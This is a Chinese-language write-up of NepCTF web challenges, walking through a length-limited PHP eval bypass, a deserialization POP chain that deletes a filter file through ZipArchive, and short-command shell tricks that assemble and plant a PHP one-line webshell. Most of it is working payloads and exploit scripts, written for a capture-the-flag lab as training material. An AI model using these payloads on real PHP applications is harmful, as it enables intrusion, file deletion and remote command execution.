[NepCTF]WEB

little_trick


    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(intval($len)<8 && strlen($nep)<13){
     
        eval(substr($nep,0,$len));
    }else{
     
        die('too long!');
    }
?>

解法1:
考察一些linux命令的小技巧

把ls的结果写进1
?nep=`ls>1`;&len=7
创建cat文件
?nep=`>cat`;&len=7
输⼊通配符*,Linux会把第⼀个列出的⽂件名当作命令,剩下的⽂件名当作参数。
?nep=`*>1`;&len=7

解法2:

?nep=`$nep`;ls>z&len=7
?nep=`$nep`;>cat&len=7
?nep=`$nep`;*>z&len=7

解法3:算是一个未收入到官方wp的非预期(学长太强了)

intval函数小技巧,7asdasd传进去,会被识别成7,遇到字母会停止,所以在intval数字后面加上系统命令,在nep处用$len来执行内联命令,这样nep就不会被长度限制住

由于加不了echo,长度超标,所以只能写入shell,利用echo "" >> 1.php来写入一句话木马

payload:

?nep=`$len`;&len=7;echo "" >> 1.php

记得要加上\转义$,不然$_POST会不见,还有就是不能带;,不然报语法错误

写入后就可以开蚁剑了

梦里花开牡丹亭

涉及到:

  • pop链
  • 命令执行
  • 短字符命令执行

反序列化,代码审计


highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
     
    public  $username;
    public  $password;
    public  $choice;
    public  $register;
    public  $file;
    public  $filename;
    public  $content;
    
    public function __construct()
    {
     
        $this->username='user';
        $this->password='user';
    }
    public function __wakeup(){
     
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
     
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
     
            $this->choice = new register();
        }
    }
    public function __destruct() {
     
        $this->choice->checking($this->username,$this->password);
    }
}
class login{
     
    public $file;
    public $filename;
    public $content;
    public function __construct($file,$filename,$content)
    {
     
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
     
        if($username==='admin'&&$password==='admin'){
     
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
     
    public function checking($username,$password)
    {
     
        if($username==='admin'&&$password==='admin'){
     
            die('success register admin');
        }else{
     
            die('please register admin ');
        }
    }
}
class Open{
     
    function open($filename, $content){
     
        if(!file_get_contents('waf.txt')){
     
            shell($content);
        }else{
     
            echo file_get_contents($filename.".php");
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
     
    @unserialize(base64_decode($_POST['unser']));
} success register admin

首先要绕过的是一个md5碰撞,一个sha1碰撞,都是三等号,md5很熟悉,sha1第一次见,查了一下,都可以用数组绕过

f($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
     

再看他的反序列化

@unserialize(base64_decode($_POST['unser']));

会先解码base64,所以我们重写类的时候就要先序列化再base64编码


    class Game{
     
        public  $username="admin";
        public  $password="admin";
    }

$data = new Game();

$data = serialize($data);

echo base64_encode($data);

成功进入到了register,但是register没什么用,要进login才有用
[NepCTF]WEB_第1张图片

再看__wakeup方法,要进入login要让register为md5为21232f297a57a5a743894a0e4a801fc3

public function __wakeup(){
     
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
     
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
     
            $this->choice = new register();
        }
    }
    public function __destruct() {
     
        $this->choice->checking($this->username,$this->password);
    }

拿去破解了一下就是admin
[NepCTF]WEB_第2张图片
所以Game类就这样构造


    class Game{
     
        public  $username="admin";
        public  $password="admin";
        public  $register="admin";
    }

$data = new Game();

$data = serialize($data);

echo base64_encode($data);

下一步的分析:
我们这样初始化public $register="admin";就绕过了register的实例化,让choice成为login的对象,这样__destruct方法就会进去login的checking

public function __wakeup(){
     
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
     
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
     
            $this->choice = new register();
        }
    }
    public function __destruct() {
     
        $this->choice->checking($this->username,$this->password);
    }
}

进到login的checking方法,会让file来调用open(),这个open()属于Open()类,file如果想访问就要实例化成为Open的对象,由于waf.txt里面有内容,所以这个if里面的判断是永假的,所以设置好filename就行,content不用管

class login{
     
    public $file;
    public $filename;
    public $content;
    public function __construct($file,$filename,$content)
    {
     
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
     
        if($username==='admin'&&$password==='admin'){
     
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}

class Open{
     
    public function open($filename, $content){
     
        if(!file_get_contents('waf.txt')){
     
            echo($content);
        }else{
     
            echo file_get_contents($filename.".php");
        }
    }
}

这就涉及到了pop链:
由于$this->file->open($this->filename,$this->content);,所以要给file变量实例化一下
初始化Game,在file的初始化的时候给他的赋值是实例化Open()

class Game{
     
        public $username="admin";
        public $password="admin";
        public $register="admin";

        public $file;
        public  $filename="php://filter/read=convert.base64-encode/resource=shell";
        public  $content;
        
        public function __construct(){
     
        $this->file= new Open($this->filename,$this->content);
    }
}

class Open{
     
    function open($filename, $content){
     
        if(!file_get_contents('waf.txt')){
     
            shell($content);
        }else{
     
            echo file_get_contents($filename.".php");
        }
    }
}

$game = new Game();
$game = serialize($game);
echo(base64_encode($game));

成功构造到pop链,可以看到file的内容又是一个序列化的对象,但是不能读取到shell.php,需要php协议读取

O:4:"Game":6:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";s:8:"register";s:5:"admin";s:4:"file";O:4:"Open":0:{}s:8:"filename";s:54:"php://filter/read=convert.base64-encode/resource=shell";s:7:"content";N;}

得到shell.php的源码


function shell($cmd){
     
    if(strlen($cmd)<10){
     
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
     
            die("NO");
        }else{
     
            return system($cmd);
        }
    }else{
     
        die('so long!'); 
    }
}

但是要执行里面的命令,必须让waf.txt消失掉,这就涉及到了php原生类
这里用到的是PHP的原生类 ZipArchive() 进行删除,它刚好也是有一个open($filename,$flags)函数,而且当其第二个参数为 ZipArchive::OVERWRITE 时会删除文件,所以构造如下脚本,去生成payload,删除 waf.txt


error_reporting(0);
include('shell.php');

class Game{
     
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct() {
     
        $this->username = "admin";
        $this->password = "admin";
        $this->register = "admin";
        $this->file = new ZipArchive();
        $this->filename = "waf.txt";
        $this->content = ZipArchive::OVERWRITE;
    }

    public function __wakeup() {
     
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3") {
     
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
     
            $this->choice = new register();
        }
    }
    public function __destruct() {
     
        $this->choice->checking($this->username,$this->password);
    }
}

class Open{
     
    function open($filename, $content){
     
        if(!file_get_contents('waf.txt')){
     
            shell($content);
        }else{
     
            echo file_get_contents($filename.".php");
        }
    }
}

$game = new Game();
$game = serialize($game);
echo(base64_encode($game));

这样执行以下就把waf.txt删除了,此时if后的判断就是永真,接下来就是命令执行了,

function shell($cmd){
     
    if(strlen($cmd)<10){
     
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
     
            die("NO");
        }else{
     
            return system($cmd);
        }
    }else{
     
        die('so long!'); 
    }
}

过滤的很严,基本上可行的都没用了,选择短字符的命令执行

我们需要写一个文件,往里面写入一句话木马

  • 会出现转义,所以要base64编码
 eval($_GET[1]);

编码PD9waHAgZXZhbCgkX0dFVFsxXSk7

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

用\分隔开,每次赋值给content执行

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>FsxXSk\\
>kX0dFV\\
>XZhbCg\\
>waHAgZ\\
>PD9\\
>o\ \\
>ech\\

执行完后再执行

ls -t>0 //按时间排序
sh 0 //把内容作为shell执行

得到了1.php,可以去执行命令了

开了蚁剑后可以看到,生成了很多文件,最后拼接出的语句
[NepCTF]WEB_第3张图片

bbxhh_revenge

开换ip就好了,比较简单也没学到啥,就不写wp了

你可能感兴趣的:(比赛wp,shell,php)